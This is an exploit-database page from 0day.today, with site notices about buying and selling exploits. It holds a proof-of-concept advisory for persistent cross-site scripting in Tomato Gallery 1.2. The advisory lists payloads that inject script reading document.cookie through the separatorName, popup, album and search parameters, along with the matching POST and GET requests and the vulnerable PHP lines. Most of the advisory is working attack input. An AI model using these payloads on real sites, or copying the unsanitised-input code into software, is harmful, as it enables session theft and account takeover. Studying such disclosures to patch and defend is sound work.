0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Tomato Gallery 1.2 (logged only) Persistant Xss Vunerability
# author: lemlajt # software link: http://tomatogallery.yzx.se/ # version: 1.2 # tested on: linux #cve : poc0.1 : 1. http://localhost/www/cmsadmins/tomato_gallery_1_2/edit/index.php 2. click @ "Add Separator" and type: bla'';!--<script>alert( document.cookie)</script>=&{()} in the box 3. persistant. try: POST http://localhost/www/cmsadmins/tomato_gallery_1_2/ajaxinfo/addSeparator.php ?separatorName=bla'';!--<script>alert(document.cookie)</script>=&{()} HTTP/1.1 more: cat -n $tomato_dir/ajaxinfo/addSeparator.php --- <ut ------ <ut ------ <ut ------ <ut --- 11 $albumName = $_GET["separatorName"]; --- <ut ------ <ut ------ <ut ------ <ut --- ... and more, enjoy! o/ * csrf? poc0.2 : POST http://localhost/www/cmsadmins/tomato_gallery_1_2/ajaxinfo/popupSource.php?popup=create-album&album=undefined HTTP/1.1 ;] in second line of ajaxinfo/popupSource.php we see: $popup = $_GET['popup']; replace 'create-album' to: ''script in source of generated page find your alert: <li id="item_0" style="margin:0; padding:0; list-style:none;" lang="test;!--<script>alert(document.cookie)</script>="> <div class="group" onMouseOver="hoverAlbum('in','1')" onMouseOut="hoverAlbum('out','1')" id="album1"> <div class="stripe"></div> <div class="albumText" style="position:absolute;" id="albumText1" onclick="this.innerHTML = this.lang" lang="test';!--<script>alert(document.cookie)</script>=">test';!--<script>alert(document.cookie)</script>= </div> file inputs? poc0.3 : some error when typing: http://localhost/www/cmsadmins/tomato_gallery_1_2/edit/index.php?album=%27%27;!--%3Cscript%3Ealert%28document.cookie%29%3C/script%3E=&{%28%29}# poc0.4 : xss via GET $search = '';!--<script>alert(document.cookie)</script>=&{()} regards Inj3ct0r Team! # 0day.today [2024-11-16] #